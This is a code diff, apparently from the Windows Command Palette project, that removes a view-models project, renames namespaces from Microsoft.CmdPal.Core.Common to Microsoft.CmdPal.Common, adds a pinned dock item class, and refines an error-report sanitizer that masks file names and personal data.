SanitizerDefaults.DefaultOptions, SanitizerDefaults.DefaultMatchTimeoutMs)]
private static partial Regex SsnRx();
[GeneratedRegex(@"\b\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b",
SanitizerDefaults.DefaultOptions, SanitizerDefaults.DefaultMatchTimeoutMs)]
private static partial Regex CreditCardRx();
}

View File

@@ -1,12 +0,0 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.Core.ViewModels.Models;
using Microsoft.CommandPalette.Extensions;
namespace Microsoft.CmdPal.Core.ViewModels.Messages;
public record HideDetailsMessage()
{
}

View File

@@ -1,12 +0,0 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.Core.ViewModels.Models;
using Microsoft.CommandPalette.Extensions;
namespace Microsoft.CmdPal.Core.ViewModels.Messages;
public record LaunchUriMessage(Uri Uri)
{
}

View File

@@ -1,12 +0,0 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.Core.ViewModels.Models;
using Microsoft.CommandPalette.Extensions;
namespace Microsoft.CmdPal.Core.ViewModels.Messages;
public record ShowDetailsMessage(DetailsViewModel Details)
{
}

View File

@@ -1,25 +0,0 @@
<Project Sdk="Microsoft.NET.Sdk">
<Import Project="..\..\CoreCommonProps.props" />
<PropertyGroup>
<EnableCoreMrtTooling>false</EnableCoreMrtTooling>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="CommunityToolkit.Common" />
<PackageReference Include="CommunityToolkit.Mvvm" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\Microsoft.CmdPal.Core.Common\Microsoft.CmdPal.Core.Common.csproj" />
</ItemGroup>
<ItemGroup>
<Compile Update="Properties\Resources.Designer.cs">
<DesignTime>True</DesignTime>
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
</ItemGroup>
</Project>

View File

@@ -1,4 +0,0 @@
{
"$schema": "https://aka.ms/CsWin32.schema.json",
"allowMarshaling": false
}

View File

@@ -1,19 +0,0 @@
GetPhysicallyInstalledSystemMemory
GlobalMemoryStatusEx
GetSystemInfo
CoCreateInstance
SetForegroundWindow
IsIconic
RegisterHotKey
SetWindowLongPtr
CallWindowProc
ShowWindow
SetForegroundWindow
SetFocus
SetActiveWindow
MonitorFromWindow
GetMonitorInfo
SHCreateStreamOnFileEx
CoAllowSetForegroundWindow
SHCreateStreamOnFileEx
SHLoadIndirectString

View File

@@ -1,8 +0,0 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.ViewModels;
internal sealed partial class NullPageViewModel(TaskScheduler scheduler, AppExtensionHost extensionHost)
: PageViewModel(null, scheduler, extensionHost);

View File

@@ -1,72 +0,0 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Microsoft.CmdPal.Core.ViewModels.Properties {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
public class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
public static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Microsoft.CmdPal.Core.ViewModels.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
public static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Looks up a localized string similar to Show details.
/// </summary>
public static string ShowDetailsCommand {
get {
return ResourceManager.GetString("ShowDetailsCommand", resourceCulture);
}
}
}
}

View File

@@ -1,124 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="ShowDetailsCommand" xml:space="preserve">
<value>Show details</value>
<comment>Name for the command that shows details of an item</comment>
</data>
</root>

View File

@@ -10,7 +10,7 @@
<PackageVersion Include="Microsoft.Windows.CsWinRT" Version="2.2.0" />
<PackageVersion Include="Microsoft.Windows.SDK.BuildTools" Version="10.0.26100.4188" />
<PackageVersion Include="Microsoft.Windows.SDK.BuildTools.MSIX" Version="1.7.20250829.1" />
<PackageVersion Include="Microsoft.WindowsAppSDK" Version="1.8.250907003" />
<PackageVersion Include="Microsoft.WindowsAppSDK" Version="1.8.260209005" />
<PackageVersion Include="Shmuelie.WinRTServer" Version="2.1.1" />
<PackageVersion Include="StyleCop.Analyzers" Version="1.2.0-beta.556" />
<PackageVersion Include="System.Text.Json" Version="9.0.8" />

View File

@@ -2,7 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.Common;
namespace Microsoft.CmdPal.Common;
/// <summary>
/// Represents the packaging flavor of the application.

View File

@@ -2,9 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
namespace Microsoft.CmdPal.Core.Common;
namespace Microsoft.CmdPal.Common;
public static class CoreLogger
{
@@ -15,6 +13,8 @@ public static class CoreLogger
private static ILogger? _logger;
public static ILogger? Instance => _logger;
public static void LogError(string message, Exception ex, [System.Runtime.CompilerServices.CallerMemberName] string memberName = "", [System.Runtime.CompilerServices.CallerFilePath] string sourceFilePath = "", [System.Runtime.CompilerServices.CallerLineNumber] int sourceLineNumber = 0)
{
_logger?.LogError(message, ex, memberName, sourceFilePath, sourceLineNumber);

View File

@@ -2,10 +2,9 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Runtime.InteropServices;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// Provides utility methods for building diagnostic and error messages.

View File

@@ -2,12 +2,10 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Threading.Tasks;
using Microsoft.CommandPalette.Extensions;
using Microsoft.CommandPalette.Extensions.Toolkit;
namespace Microsoft.CmdPal.Core.Common;
namespace Microsoft.CmdPal.Common;
public partial class ExtensionHostInstance
{

View File

@@ -2,9 +2,9 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.Core.Common.Text;
using Microsoft.CmdPal.Common.Text;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// Represents an item that can provide precomputed fuzzy matching targets for its title and subtitle.

View File

@@ -2,9 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Threading;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// Thread-safe boolean implementation using atomic operations

View File

@@ -4,9 +4,9 @@
using System.Buffers;
using System.Diagnostics;
using Microsoft.CmdPal.Core.Common.Text;
using Microsoft.CmdPal.Common.Text;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
public static partial class InternalListHelpers
{

View File

@@ -2,12 +2,9 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Threading;
using Microsoft.UI.Dispatching;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
public static partial class NativeEventWaiter
{

View File

@@ -6,7 +6,7 @@ using System.Runtime.CompilerServices;
using Windows.Win32;
using Windows.Win32.Storage.FileSystem;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
public static class PathHelper
{

View File

@@ -0,0 +1,24 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CommandPalette.Extensions;
using Microsoft.CommandPalette.Extensions.Toolkit;
namespace Microsoft.CmdPal.Common.Helpers;
public partial class PinnedDockItem : WrappedDockItem
{
public override string Title => $"{base.Title} ({Properties.Resources.PinnedItemSuffix})";
public PinnedDockItem(ICommand command)
: base(command, command.Name)
{
}
public PinnedDockItem(IListItem item, string id)
: base([item], id, item.Title)
{
Icon = item.Icon;
}
}

View File

@@ -2,11 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Threading;
using System.Threading.Tasks;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// An async gate that ensures only one operation runs at a time.

View File

@@ -2,7 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// An async gate that ensures only one value computation runs at a time.

View File

@@ -5,7 +5,7 @@
using System.Diagnostics;
using Windows.ApplicationModel;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// Helper class for retrieving application version information safely.

View File

@@ -4,10 +4,9 @@
using Microsoft.CommandPalette.Extensions;
using Microsoft.CommandPalette.Extensions.Toolkit;
using Windows.System;
namespace Microsoft.CmdPal.Core.Common.Helpers;
namespace Microsoft.CmdPal.Common.Helpers;
/// <summary>
/// Well-known key chords used in the Command Palette and extensions.

View File

@@ -1,7 +1,9 @@
<Project>
<Import Project="..\..\Common.Dotnet.CsWinRT.props" />
<Import Project="..\..\Common.Dotnet.AotCompatibility.props" />
<Project Sdk="Microsoft.NET.Sdk">
<Import Project="..\..\..\Common.Dotnet.CsWinRT.props" />
<Import Project="..\..\..\Common.Dotnet.AotCompatibility.props" />
<PropertyGroup>
<RootNamespace>Microsoft.CmdPal.Common</RootNamespace>
<Nullable>enable</Nullable>
<!-- For MVVM Toolkit Partial Properties/AOT support -->
<LangVersion>preview</LangVersion>
@@ -23,6 +25,11 @@
</PropertyGroup>
<ItemGroup>
<ProjectReference Include="..\extensionsdk\Microsoft.CommandPalette.Extensions.Toolkit\Microsoft.CommandPalette.Extensions.Toolkit.csproj" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Microsoft.Extensions.Hosting" />
<PackageReference Include="Microsoft.Windows.CsWin32">
<PrivateAssets>all</PrivateAssets>
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
@@ -32,20 +39,24 @@
<!-- This line forces the WebView2 version used by Windows App SDK to be the one we expect from Directory.Packages.props . -->
</ItemGroup>
<ItemGroup>
<ProjectReference Include="$(MSBuildThisFileDirectory)\extensionsdk\Microsoft.CommandPalette.Extensions.Toolkit\Microsoft.CommandPalette.Extensions.Toolkit.csproj" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Update="Properties\Resources.resx">
<Generator>PublicResXFileCodeGenerator</Generator>
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<Compile Update="Properties\Resources.Designer.cs">
<DesignTime>True</DesignTime>
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
</ItemGroup>
<ItemGroup>
<AssemblyAttribute Include="System.Runtime.CompilerServices.InternalsVisibleToAttribute">
<_Parameter1>$(AssemblyName).UnitTests</_Parameter1>
<_Parameter1>$(AssemblyName).UnitTests</_Parameter1>
</AssemblyAttribute>
</ItemGroup>

View File

@@ -8,7 +8,7 @@
// </auto-generated>
//------------------------------------------------------------------------------
namespace Microsoft.CmdPal.Core.Common.Properties {
namespace Microsoft.CmdPal.Common.Properties {
using System;
@@ -39,7 +39,7 @@ namespace Microsoft.CmdPal.Core.Common.Properties {
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Microsoft.CmdPal.Core.Common.Properties.Resources", typeof(Resources).Assembly);
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Microsoft.CmdPal.Common.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
@@ -72,5 +72,14 @@ namespace Microsoft.CmdPal.Core.Common.Properties {
return ResourceManager.GetString("ErrorReport_Global_Preamble", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Pinned.
/// </summary>
internal static string PinnedItemSuffix {
get {
return ResourceManager.GetString("PinnedItemSuffix", resourceCulture);
}
}
}
}

View File

@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
@@ -117,6 +117,10 @@
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="PinnedItemSuffix" xml:space="preserve">
<value>Pinned</value>
<comment>Suffix shown for pinned items in the dock</comment>
</data>
<data name="ErrorReport_Global_Preamble" xml:space="preserve">
<value>This is an error report generated by Windows Command Palette.
If you are seeing this, it means something went a little sideways in the app.
@@ -124,4 +128,4 @@ You can help us fix it by filing a report at https://aka.ms/powerToysReportBug.
(While youre at it, give the details below a quick skim — just to make sure theres nothing personal youd prefer not to share. Its rare, but sometimes little surprises sneak in.)</value>
</data>
</root>
</root>

View File

@@ -5,11 +5,11 @@
using System.Globalization;
using System.Runtime.InteropServices;
using System.Security.Principal;
using Microsoft.CmdPal.Core.Common.Helpers;
using Microsoft.CmdPal.Common.Helpers;
using Microsoft.CommandPalette.Extensions.Toolkit;
using Windows.ApplicationModel;
namespace Microsoft.CmdPal.Core.Common.Services;
namespace Microsoft.CmdPal.Common.Services;
/// <summary>
/// Implementation of IApplicationInfoService providing application-wide information.

View File

@@ -2,7 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.Common.Services;
namespace Microsoft.CmdPal.Common.Services;
/// <summary>
/// Provides access to application-wide information such as version, packaging flavor, and directory paths.

View File

@@ -2,11 +2,9 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using System.Threading.Tasks;
using Windows.Foundation;
namespace Microsoft.CmdPal.Core.Common.Services;
namespace Microsoft.CmdPal.Common.Services;
public interface IExtensionService
{

View File

@@ -2,13 +2,10 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using Microsoft.CommandPalette.Extensions;
using Windows.ApplicationModel;
namespace Microsoft.CmdPal.Core.Common.Services;
namespace Microsoft.CmdPal.Common.Services;
public interface IExtensionWrapper
{

View File

@@ -2,7 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.Common.Services;
namespace Microsoft.CmdPal.Common.Services;
public interface IRunHistoryService
{

View File

@@ -3,9 +3,9 @@
// See the LICENSE file in the project root for more information.
using System.Runtime.InteropServices;
using Microsoft.CmdPal.Core.Common.Services.Sanitizer;
using Microsoft.CmdPal.Common.Services.Sanitizer;
namespace Microsoft.CmdPal.Core.Common.Services.Reports;
namespace Microsoft.CmdPal.Common.Services.Reports;
public sealed class ErrorReportBuilder : IErrorReportBuilder
{

View File

@@ -2,7 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.Common.Services.Reports;
namespace Microsoft.CmdPal.Common.Services.Reports;
/// <summary>
/// Defines a contract for creating human-readable error reports from exceptions,

View File

@@ -2,7 +2,7 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Common.Services.Sanitizer.Abstraction;
/// <summary>
/// Defines a service that sanitizes text by applying a set of configurable, regex-based rules.

View File

@@ -4,7 +4,7 @@
using System.Text.RegularExpressions;
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Common.Services.Sanitizer.Abstraction;
public readonly record struct SanitizationRule
{

View File

@@ -3,9 +3,9 @@
// See the LICENSE file in the project root for more information.
using System.Text.RegularExpressions;
using Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
using Microsoft.CmdPal.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer;
namespace Microsoft.CmdPal.Common.Services.Sanitizer;
internal sealed partial class ConnectionStringRuleProvider : ISanitizationRuleProvider
{

View File

@@ -3,9 +3,9 @@
// See the LICENSE file in the project root for more information.
using System.Text.RegularExpressions;
using Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
using Microsoft.CmdPal.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer;
namespace Microsoft.CmdPal.Common.Services.Sanitizer;
internal sealed class EnvironmentPropertiesRuleProvider : ISanitizationRuleProvider
{

View File

@@ -2,9 +2,9 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
using Microsoft.CmdPal.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer;
namespace Microsoft.CmdPal.Common.Services.Sanitizer;
/// <summary>
/// Specific sanitizer used for error report content. Builds on top of the generic TextSanitizer.

View File

@@ -4,9 +4,9 @@
using System.Collections.Frozen;
using System.Text.RegularExpressions;
using Microsoft.CmdPal.Core.Common.Services.Sanitizer.Abstraction;
using Microsoft.CmdPal.Common.Services.Sanitizer.Abstraction;
namespace Microsoft.CmdPal.Core.Common.Services.Sanitizer;
namespace Microsoft.CmdPal.Common.Services.Sanitizer;
internal sealed class FilenameMaskRuleProvider : ISanitizationRuleProvider
{
@@ -25,6 +25,7 @@ internal sealed class FilenameMaskRuleProvider : ISanitizationRuleProvider
"env",
"environment",
"manifest",
"log",
}.ToFrozenSet(StringComparer.OrdinalIgnoreCase);
public IEnumerable<SanitizationRule> GetRules()
@@ -61,6 +62,11 @@ internal sealed class FilenameMaskRuleProvider : ISanitizationRuleProvider
return full;
}
if (IsVersionSegment(file))
{
return full;
}
string stem, ext;
if (dot > 0 && dot < file.Length - 1)
{
@@ -106,4 +112,30 @@ internal sealed class FilenameMaskRuleProvider : ISanitizationRuleProvider
var maskedCount = Math.Max(1, stem.Length - keep);
return stem[..keep] + new string('*', maskedCount);
}
private static bool IsVersionSegment(string file)
{
var dotIndex = file.IndexOf('.');
if (dotIndex <= 0 || dotIndex == file.Length - 1)
{
return false;
}
var hasDot = false;
foreach (var ch in file)
{
if (ch == '.')
{
hasDot = true;
continue;
}
if (!char.IsDigit(ch))
{
return false;
}
}
return hasDot;
}
}

Some files were not shown because too many files have changed in this diff Show More